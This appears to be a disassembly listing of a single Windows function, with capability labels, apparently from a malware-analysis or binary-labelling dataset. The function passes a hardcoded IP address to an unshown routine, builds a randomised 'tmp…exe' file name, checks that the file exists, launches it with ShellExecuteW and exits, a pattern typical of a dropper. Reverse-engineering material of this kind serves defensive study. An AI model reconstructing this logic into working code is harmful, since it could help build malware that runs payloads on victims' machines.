Function at 0x406970
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x260
mov eax, dword [0x439c20]
xor eax, ebp
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x234], str.APPTITLE
mov dword [ebp - 0x238], 0x43e1a8
mov eax, dword [ebp - 0x238]
mov dword [ebp - 0x23c], eax
mov ecx, dword [ebp - 0x234]
mov dx, word [ecx]
mov word [ebp - 0x23e], dx
mov eax, dword [ebp - 0x238]
mov cx, word [ebp - 0x23e]
mov word [eax], cx
mov edx, dword [ebp - 0x234]
add edx, 2
mov dword [ebp - 0x234], edx
mov eax, dword [ebp - 0x238]
add eax, 2
mov dword [ebp - 0x238], eax
cmp word [ebp - 0x23e], 0
jne 0x4069a3
mov dword [ebp - 0x244], str.WINDOWCLASS
mov dword [ebp - 0x248], 0x43e0e0
mov ecx, dword [ebp - 0x248]
mov dword [ebp - 0x24c], ecx
mov edx, dword [ebp - 0x244]
mov ax, word [edx]
mov word [ebp - 0x24e], ax
mov ecx, dword [ebp - 0x248]
mov dx, word [ebp - 0x24e]
mov word [ecx], dx
mov eax, dword [ebp - 0x244]
add eax, 2
mov dword [ebp - 0x244], eax
mov ecx, dword [ebp - 0x248]
add ecx, 2
mov dword [ebp - 0x248], ecx
cmp word [ebp - 0x24e], 0
jne 0x406a0b
mov edx, dword [ebp + 8]
push edx
call fcn.00406c40
add esp, 4
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x254], eax
mov dword [ebp - 0x258], 0x43e278
mov ecx, dword [ebp - 0x258]
mov dword [ebp - 0x25c], ecx
mov edx, dword [ebp - 0x254]
mov ax, word [edx]
mov word [ebp - 0x25e], ax
mov ecx, dword [ebp - 0x258]
mov dx, word [ebp - 0x25e]
mov word [ecx], dx
mov eax, dword [ebp - 0x254]
add eax, 2
mov dword [ebp - 0x254], eax
mov ecx, dword [ebp - 0x258]
add ecx, 2
mov dword [ebp - 0x258], ecx
cmp word [ebp - 0x25e], 0
jne 0x406a7e
call section..text
mov dword [0x43afbc], eax
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00401110
test eax, eax
je 0x406af1
call fcn.00403440
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00406cc0
add esp, 8
test eax, eax
jne 0x406b0c
xor eax, eax
jmp 0x406c2f
xor ecx, ecx
mov word [ebp - 0x230], cx
push 0x206
push 0
lea edx, [ebp - 0x22e]
push edx
call fcn.0041ca30
add esp, 0xc
cmp dword [0x43e780], 0
jbe 0x406b61
movzx eax, word [0x43e784]
test eax, eax
jle 0x406b61
push str.218.54.31.226
mov ecx, dword [0x43e780]
push ecx
call fcn.004048f0
add esp, 8
mov dx, word [0x43e784]
mov word [0x43afb0], dx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
xor edx, edx
mov ecx, 0x3e8
div ecx
mov dword [ebp - 4], edx
mov edx, dword [ebp - 4]
push edx
push str.tmp8_X.exe
push 0x43eb38
call fcn.00406df0
add esp, 0xc
call fcn.004049a0
lea eax, [ebp - 0x230]
push eax
call fcn.00405cf0
add esp, 4
push 0x4349cc
push 0x104
lea ecx, [ebp - 0x230]
push ecx
call fcn.0041a65d
add esp, 0xc
push 0x43eb38
push 0x104
lea edx, [ebp - 0x230]
push edx
call fcn.0041a65d
add esp, 0xc
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x406c0f
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push 0
push 0x4349d0
lea ecx, [ebp - 0x230]
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call fcn.00405e50
add esp, 4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 0x28]
xor ecx, ebp
call fcn.0041a64e
mov esp, ebp
pop ebp
ret 0x10